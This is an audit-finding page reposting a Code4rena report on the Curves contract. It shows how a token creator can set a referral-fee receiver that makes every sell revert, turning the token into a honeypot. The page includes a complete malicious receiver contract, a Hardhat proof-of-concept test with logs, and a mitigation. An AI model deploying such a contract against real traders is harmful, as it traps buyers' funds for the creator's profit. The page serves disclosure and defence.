Skip to content
Business logic Audit finding Intermediate

Attack to make CurveSubject to be a HoneyPot

The creator of a CurveSubject can set a referral fee receiver contract that rejects incoming payments unless the sender's token balance has increased, so any sell transaction reverts. The creator can then buy tokens cheaply, enable this mode, and later sell their own tokens at a higher price while other users can only buy.

KingNFT Follow with lukejohn, 0xmystery and 48 others

Originally disclosed on Code4rena

Submitted by KingNFT, also found by lukejohn, 0xmystery, DimaKush, vnavascues, Matue, adamn000, Kose, 0xDemon (1, 2), jacopod, 0xStalin, MrPotatoMagic, 42TechLabs, oxTory, nnez, yixxas, ktg, thank_you, ubermensch, opposingmonkey, nonseodion, btk, matejdb, 0xc0ffEE, salutemada, novodelta, zhaojie, _eperezok, sl1, mrudenko, PENGUN, osmanozdemir1, spacelord47, mahdirostami, DarkTower, InAllHonesty, SpicyMeatball, alexfilippov314 (1, 2), oreztker, Timenov, zhaojohnson, eeshenggoh, SovaSlava, dimulski, UbiquitousComputing, cats, Soliditors, nmirchev8, darksnow, BugzyVonBuggernaut, hals, ke1caM, peanuts, EV_om, cccz, bronze_pickaxe, OMEN, 0xMAKEOUTHILL, aslanbek, israeladelaja, Kow, and haxatron,

Any CurveSubjects clould be turned to a HoneyPot by the creator of CurveSubject, which causes that users can only buy but can’t sell the curve tokens any more. Then malicious creators can sell their own tokens at a high price to make profit.

Proof of Concept

  1. First, please pay attention on L241 of Curves._transferFees() function: we can see the referralFeeDestination is always be called even when referralFee is 0, and if the call fails the whole transaction would revert.
File: contracts\Curves.sol
218:     function _transferFees(
...
224:     ) internal {
225:         (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holderFee, ) = getFees(price);
226:         {
227:             bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
228:             {
229:                 address firstDestination = isBuy ? feesEconomics.protocolFeeDestination : msg.sender;
230:                 uint256 buyValue = referralDefined ? protocolFee : protocolFee + referralFee;
231:                 uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
232:                 (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");
233:                 if (!success1) revert CannotSendFunds();
234:             }
235:             {
236:                 (bool success2, ) = curvesTokenSubject.call{value: subjectFee}("");
237:                 if (!success2) revert CannotSendFunds();
238:             }
239:             {
240:                 (bool success3, ) = referralDefined
                           // @audit always be called even when referralFee is 0
241:                     ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("")
242:                     : (true, bytes(""));
243:                 if (!success3) revert CannotSendFunds();
244:             }
245:
246:             if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
247:                 feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
248:                 feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
249:             }
250:         }
...
261:     }
  1. And, we also find the referralFeeDestination could be set and updated by creator of CurveSubject at any time.
File: contracts\Curves.sol
155:     function setReferralFeeDestination(
156:         address curvesTokenSubject,
157:         address referralFeeDestination_
158:     ) public onlyTokenSubject(curvesTokenSubject) {
159:         referralFeeDestination[curvesTokenSubject] = referralFeeDestination_;
160:     }

By exploiting the above two facts, we can design the following malicious EvilReferralFeeReceiver contract. Once it was set as ReferralFeeDestination, the HoneyPot mode is enabled, users can only buy but can’t sell the related curve tokens any more.

// @note: put in file: 2024-01-curves\contracts\Test\EvilReferralFeeReceiver.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@openzeppelin/contracts/access/Ownable.sol";

interface ICurves {
    function curvesTokenBalance(address subject, address account) external view returns (uint256);
}

contract EvilReferralFeeReceiver is Ownable {
    ICurves private _curves;
    address private _subject;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _allowlist;

    function setCurvesAndSubject(address curves, address subject) external onlyOwner {
        _curves = ICurves(curves);
        _subject = subject;
    }

    function setAllowList(address account, bool allow) external onlyOwner {
        _allowlist[account] = allow;
    }

    function updateBalances(address[] memory accounts) external onlyOwner {
        for (uint256 i; i < accounts.length; ++i) {
            address account = accounts[i];
            _balances[account] = _curves.curvesTokenBalance(_subject, account);
        }
    }

    receive() external payable {
        if (_allowlist[tx.origin]) return;
        // only buy, can't sell
        uint256 newBalance = _curves.curvesTokenBalance(_subject, tx.origin);
        if (newBalance <= _balances[tx.origin]) revert("Honey Pot");
        _balances[tx.origin] = newBalance;
    }
}

The full coded PoC:

import { expect, use } from "chai";
import { solidity } from "ethereum-waffle";
use(solidity);
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
//@ts-ignore
import { ethers } from "hardhat";

import { type Curves } from "../contracts/types";
import { buyToken } from "../tools/test.helpers";
import { deployCurveContracts } from "./test.helpers";

describe("Make Curve Subject To Be A Honey Pot test", () => {
  let testContract;
  let evilReferralFeeReceiver;
  let owner: SignerWithAddress, evilSubjectCreator: SignerWithAddress,
      alice: SignerWithAddress, bob: SignerWithAddress, others: SignerWithAddress[];
  beforeEach(async () => {
    testContract = await deployCurveContracts();
    [owner, evilSubjectCreator, alice, bob, others] = await ethers.getSigners();
    const EvilReferralFeeReceiver = await ethers.getContractFactory("EvilReferralFeeReceiver");
    evilReferralFeeReceiver = await EvilReferralFeeReceiver.connect(evilSubjectCreator).deploy();
  });

  it("While 'HONEY POT' mode enabled, users can only buy, but can't sell any Curve token ", async () => {
    // 1. The evil create a subject and set a normal referral fee receiver
    await testContract.connect(evilSubjectCreator).mint(evilSubjectCreator.address);
    await testContract.connect(evilSubjectCreator).setReferralFeeDestination(
      evilSubjectCreator.address, evilSubjectCreator.address
    );

    // 2. The evil buy enough tokens at low price
    await buyToken(testContract, evilSubjectCreator, evilSubjectCreator, 1);
    await buyToken(testContract, evilSubjectCreator, evilSubjectCreator, 10);

    // 3. victims buy or sell tokens normally
    await buyToken(testContract, evilSubjectCreator, alice, 10);
    await testContract.connect(alice).sellCurvesToken(evilSubjectCreator.address, 5);
    await buyToken(testContract, evilSubjectCreator, bob, 10);
    await testContract.connect(bob).sellCurvesToken(evilSubjectCreator.address, 5);

    // 4. at some time point, the evil enables 'HONEY POT' mode by updating the referral fee receiver
    await testContract.connect(evilSubjectCreator).setReferralFeeDestination(
      evilSubjectCreator.address, evilReferralFeeReceiver.address
    );
    await evilReferralFeeReceiver.connect(evilSubjectCreator).setCurvesAndSubject(
      testContract.address, evilSubjectCreator.address
    );
    await evilReferralFeeReceiver.connect(evilSubjectCreator).updateBalances(
      [alice.address, bob.address]
    );

    // 5. now, victims can buy, but can't sell
    await buyToken(testContract, evilSubjectCreator, alice, 1);
    let tx = testContract.connect(alice).sellCurvesToken(evilSubjectCreator.address, 1);
    expect(tx).to.revertedWith("CannotSendFunds()");

    // 6. but the evil can sell tokens normally, of course at a higher price than buy and make profit
    await  evilReferralFeeReceiver.connect(evilSubjectCreator).setAllowList(
      evilSubjectCreator.address, true
    );
    testContract.connect(evilSubjectCreator).sellCurvesToken(evilSubjectCreator.address, 11);
  });

});

The test logs:

2024-01-curves> npx hardhat test ./test/MakeCurveSubjectToBeAHoneyPot.ts
No need to generate any newer typings.
 ·---------------------------|--------------------------------|--------------------------------·
 |  Solc version: 0.8.7      ·  Optimizer enabled: false      ·  Runs: 200                     │
 ····························|································|·································
 |  Contract Name            ·  Deployed size (KiB) (change)  ·  Initcode size (KiB) (change)  │
 ····························|································|·································
 |  console                  ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  Curves                   ·                23.046 (0.000)  ·                23.575 (0.000)  │
 ····························|································|·································
 |  CurvesERC20              ·                 6.813 (0.000)  ·                 8.723 (0.000)  │
 ····························|································|·································
 |  CurvesERC20Factory       ·                 9.843 (0.000)  ·                 9.874 (0.000)  │
 ····························|································|·································
 |  ERC20                    ·                 4.593 (0.000)  ·                 5.522 (0.000)  │
 ····························|································|·································
 |  EvilReferralFeeReceiver  ·                 3.407 (0.000)  ·                 3.670 (0.000)  │
 ····························|································|·································
 |  FeeSplitter              ·                 6.611 (0.000)  ·                 6.790 (0.000)  │
 ····························|································|·································
 |  Math                     ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  MerkleProof              ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  MockCurvesForFee         ·                 0.861 (0.000)  ·                 0.893 (0.000)  │
 ····························|································|·································
 |  MockERC20                ·                 5.902 (0.000)  ·                 6.944 (0.000)  │
 ····························|································|·································
 |  Security                 ·                 0.847 (0.000)  ·                 1.025 (0.000)  │
 ····························|································|·································
 |  SignedMath               ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ····························|································|·································
 |  Strings                  ·                 0.084 (0.000)  ·                 0.162 (0.000)  │
 ·---------------------------|--------------------------------|--------------------------------·

  Make Curve Subject To Be A Honey Pot test
    ✔ While 'HONEY POT' mode enabled, users can only buy, but can't sell any Curve token

·---------------------------------------------------------|----------------------------|-------------|-----------------------------·
|                   Solc version: 0.8.7                   ·  Optimizer enabled: false  ·  Runs: 200  ·  Block limit: 30000000 gas  │
··························································|····························|·············|······························
|  Methods                                                                                                                         │
····························|·····························|·············|··············|·············|···············|··············
|  Contract                 ·  Method                     ·  Min        ·  Max         ·  Avg        ·  # calls      ·  eur (avg)  │
····························|·····························|·············|··············|·············|···············|··············
|  Curves                   ·  buyCurvesToken             ·      67030  ·      142555  ·     111636  ·            5  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  Curves                   ·  mint                       ·          -  ·           -  ·    1688644  ·            1  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  Curves                   ·  sellCurvesToken            ·      63915  ·       66404  ·      65574  ·            3  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  Curves                   ·  setReferralFeeDestination  ·      27806  ·       44906  ·      36356  ·            2  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  EvilReferralFeeReceiver  ·  setAllowList               ·          -  ·           -  ·      46749  ·            1  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  EvilReferralFeeReceiver  ·  setCurvesAndSubject        ·          -  ·           -  ·      69075  ·            1  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  EvilReferralFeeReceiver  ·  updateBalances             ·          -  ·           -  ·      86201  ·            1  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  FeeSplitter              ·  setCurves                  ·          -  ·           -  ·      44119  ·            1  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  FeeSplitter              ·  setManager                 ·          -  ·           -  ·      46637  ·            1  ·          -  │
····························|·····························|·············|··············|·············|···············|··············
|  Deployments                                            ·                                          ·  % of limit   ·             │
··························································|·············|··············|·············|···············|··············
|  Curves                                                 ·          -  ·           -  ·    5232831  ·       17.4 %  ·          -  │
··························································|·············|··············|·············|···············|··············
|  CurvesERC20Factory                                     ·          -  ·           -  ·    2217610  ·        7.4 %  ·          -  │
··························································|·············|··············|·············|···············|··············
|  EvilReferralFeeReceiver                                ·          -  ·           -  ·     831586  ·        2.8 %  ·          -  │
··························································|·············|··············|·············|···············|··············
|  FeeSplitter                                            ·          -  ·           -  ·    1558984  ·        5.2 %  ·          -  │
·---------------------------------------------------------|-------------|--------------|-------------|---------------|-------------·

  1 passing (2s)

Recommended Mitigation Steps

Solady’s forceSafeTransferETH() seems suitable for this case:

https://github.com/Vectorized/solady/blob/61612f187debb7affbe109543556666ef716ef69/src/utils/SafeTransferLib.sol#L117

andresaiello (Curves) confirmed

alcueca (Judge) commented:

Keeping as High because with this the DAO controlling the platform would have to do an enormous effort to keep scammers out.


The original report as published on Code4rena, by KingNFT. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the fee transfer to the referral destination is always attempted and any failure reverts the whole transaction, and the creator can change that destination at any time.

Impact

A malicious creator could trap buyers so they can only buy and not sell, while the creator sells at a profit; the judge kept it as High because the platform would have to work hard to keep scammers out.

What the attacker needed

Attacker is the creator of a CurveSubject; attacker deploys a malicious receiver contract; victims buy the token

The fix

The fee transfer should be made in a way that cannot be blocked by the recipient, for example using Solady's forceSafeTransferETH.

How it was found

  1. The creator mints a subject and sets a normal referral fee receiver.
  2. The creator buys tokens at a low price.
  3. Other users buy and sell tokens normally.
  4. The creator switches the referral fee receiver to a malicious contract and records users' balances.
  5. Users can still buy, but their sell transactions revert.
  6. The creator allowlists themselves and sells their tokens at a higher price.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A 'CurveSubject' is a token whose price rises as more people buy it. The token's creator can nominate a contract to receive a small referral fee on every trade. This report shows that if that contract refuses payments in a way that depends on whether the sender is selling, every sell fails, trapping buyers while the creator can still sell.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by KingNFT

View all

25 more disclosed reports, best first.

More from Curves

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.